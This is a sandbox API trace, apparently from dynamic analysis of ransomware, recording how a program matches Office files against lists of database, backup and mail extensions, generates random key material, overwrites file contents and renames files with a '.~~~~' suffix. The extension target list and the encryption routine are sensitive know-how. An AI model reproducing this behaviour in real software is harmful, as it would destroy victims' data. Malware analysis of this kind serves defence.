	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.359] lstrlenW (lpString=".DBX") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.359] lstrlenW (lpString=".MDT") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.359] lstrlenW (lpString=".SQB") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.359] lstrlenW (lpString=".vhd") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.360] lstrlenW (lpString=".bac") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.360] lstrlenW (lpString=".mdf") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.360] lstrlenW (lpString=".BAK") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.360] lstrlenW (lpString=".BAC") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.360] lstrlenW (lpString=".dbs") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.360] lstrlenW (lpString=".vhdx") returned 5
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.360] lstrlenW (lpString=".NDF") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.360] lstrlenW (lpString=".dat") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.360] lstrlenW (lpString=".DBS") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.360] lstrlenW (lpString=".CKP") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.360] lstrlenW (lpString=".edb") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.360] lstrlenW (lpString=".PST") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.360] lstrlenW (lpString=".dbf") returned 4
	[0134.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.360] lstrlenW (lpString=".SQL") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.361] lstrlenW (lpString=".pst") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.361] lstrlenW (lpString=".dbv") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.361] lstrlenW (lpString=".SDF") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.361] lstrlenW (lpString=".dtxs") returned 5
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.361] lstrlenW (lpString=".db3") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.361] lstrlenW (lpString=".OST") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.361] lstrlenW (lpString=".dbx") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.361] lstrlenW (lpString=".DB3") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.361] lstrlenW (lpString=".DAT") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.361] lstrlenW (lpString=".VHDX") returned 5
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.361] lstrlenW (lpString=".ndf") returned 4
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.361] lstrlenW (lpString=".DB") returned 3
	[0134.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.361] lstrlenW (lpString=".sql") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.362] lstrlenW (lpString=".MYD") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.362] lstrlenW (lpString=".DBT") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.362] lstrlenW (lpString=".ACCDB") returned 6
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.362] lstrlenW (lpString=".fdb") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.362] lstrlenW (lpString=".bak") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.362] lstrlenW (lpString=".myd") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.362] lstrlenW (lpString=".DTXS") returned 5
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.362] lstrlenW (lpString=".ckp") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.362] lstrlenW (lpString=".dbt") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.362] lstrlenW (lpString=".db") returned 3
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".db") returned 0x0
	[0134.362] lstrlenW (lpString=".TXT") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.362] lstrlenW (lpString=".MDF") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.362] lstrlenW (lpString=".bdb") returned 4
	[0134.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.363] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.363] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ea0) returned 1
	[0134.364] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.364] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.364] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25435438441) returned 1
	[0134.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9878350, dwHighDateTime=0x1d60e1e)) 
	[0134.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824ec0
	[0134.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824ec0 | out: hHeap=0x300000) returned 1
	[0134.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4e20
	[0134.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.365] GetLastError () returned 0x0
	[0134.365] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.366] GetLastError () returned 0x0
	[0134.367] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.367] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0134.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.368] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.368] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.368] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.368] CloseHandle (hObject=0xc4) returned 1
	[0134.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.~~~~")) returned 1
	[0134.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.371] GetLastError () returned 0x0
	[0134.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.371] lstrlenW (lpString=".cmd") returned 4
	[0134.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.371] lstrlenW (lpString=".dll") returned 4
	[0134.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.371] lstrlenW (lpString=".bat") returned 4
	[0134.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.371] lstrlenW (lpString=".cpl") returned 4
	[0134.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.371] lstrlenW (lpString=".sys") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.372] lstrlenW (lpString=".msc") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.372] lstrlenW (lpString=".com") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".com") returned 0x0
	[0134.372] lstrlenW (lpString=".lnk") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.372] lstrlenW (lpString=".msp") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.372] lstrlenW (lpString=".pif") returned 4
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.372] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.374] lstrlenW (lpString=".sqb") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.374] lstrlenW (lpString=".ost") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.374] lstrlenW (lpString=".txt") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.374] lstrlenW (lpString=".mdt") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.374] lstrlenW (lpString=".BDB") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.374] lstrlenW (lpString=".eql") returned 4
	[0134.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.374] lstrlenW (lpString=".DBF") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.375] lstrlenW (lpString=".EQL") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.375] lstrlenW (lpString=".FDB") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.375] lstrlenW (lpString=".EDB") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.375] lstrlenW (lpString=".DACPAC") returned 7
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.375] lstrlenW (lpString=".VHD") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.375] lstrlenW (lpString=".DBV") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.375] lstrlenW (lpString=".dacpac") returned 7
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.375] lstrlenW (lpString=".sdf") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.375] lstrlenW (lpString=".accdb") returned 6
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.375] lstrlenW (lpString=".DBX") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.375] lstrlenW (lpString=".MDT") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.375] lstrlenW (lpString=".SQB") returned 4
	[0134.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.375] lstrlenW (lpString=".vhd") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.376] lstrlenW (lpString=".bac") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.376] lstrlenW (lpString=".mdf") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.376] lstrlenW (lpString=".BAK") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.376] lstrlenW (lpString=".BAC") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.376] lstrlenW (lpString=".dbs") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.376] lstrlenW (lpString=".vhdx") returned 5
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.376] lstrlenW (lpString=".NDF") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.376] lstrlenW (lpString=".dat") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.376] lstrlenW (lpString=".DBS") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.376] lstrlenW (lpString=".CKP") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.376] lstrlenW (lpString=".edb") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.376] lstrlenW (lpString=".PST") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.376] lstrlenW (lpString=".dbf") returned 4
	[0134.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.377] lstrlenW (lpString=".SQL") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.377] lstrlenW (lpString=".pst") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.377] lstrlenW (lpString=".dbv") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.377] lstrlenW (lpString=".SDF") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.377] lstrlenW (lpString=".dtxs") returned 5
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.377] lstrlenW (lpString=".db3") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.377] lstrlenW (lpString=".OST") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.377] lstrlenW (lpString=".dbx") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.377] lstrlenW (lpString=".DB3") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.377] lstrlenW (lpString=".DAT") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.377] lstrlenW (lpString=".VHDX") returned 5
